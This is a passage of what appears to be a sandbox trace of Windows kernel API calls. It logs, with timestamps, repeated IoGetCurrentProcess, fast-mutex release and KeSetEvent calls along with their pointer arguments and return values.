ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.582] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.768] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.893] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.956] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.956] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0226.019] IoGetCurrentProcess () returned 0xffffe00001078440 [0226.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0226.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0226.019] IoGetCurrentProcess () returned 0xffffe00001078440 [0226.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0226.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0226.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0226.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0226.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0226.082] IoGetCurrentProcess () returned 0xffffe00001078440 [0226.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0226.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0226.988] IoGetCurrentProcess () returned 0xffffe00001078440 [0226.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0226.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0226.989] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0227.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0227.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.051] IoGetCurrentProcess () returned 0xffffe00001078440 [0227.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.112] IoGetCurrentProcess () returned 0xffffe00001078440 [0227.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.112] IoGetCurrentProcess () returned 0xffffe00001078440 [0227.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0227.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0227.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0227.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.239] IoGetCurrentProcess () returned 0xffffe00001078440 [0227.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0227.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.378] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0228.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.675] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0228.738] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.739] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.740] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.800] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.800] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.862] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.863] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.925] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.925] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.988] IoGetCurrentProcess () returned 0xffffe00001078440 [0228.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.113] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.113] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.363] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.363] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.551] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.615] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.616] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0229.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0230.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.206] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0230.268] IoGetCurrentProcess () returned 0xffffe00001078440 [0230.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0230.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0230.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0230.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.398] IoGetCurrentProcess () returned 0xffffe00001078440 [0230.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.398] IoGetCurrentProcess () returned 0xffffe00001078440 [0230.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0230.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0230.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0230.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.331] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0234.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.395] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.893] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.956] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.956] IoGetCurrentProcess () returned 0xffffe00001078440 [0234.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.018] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.019] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.268] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0235.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.331] IoGetCurrentProcess () returned 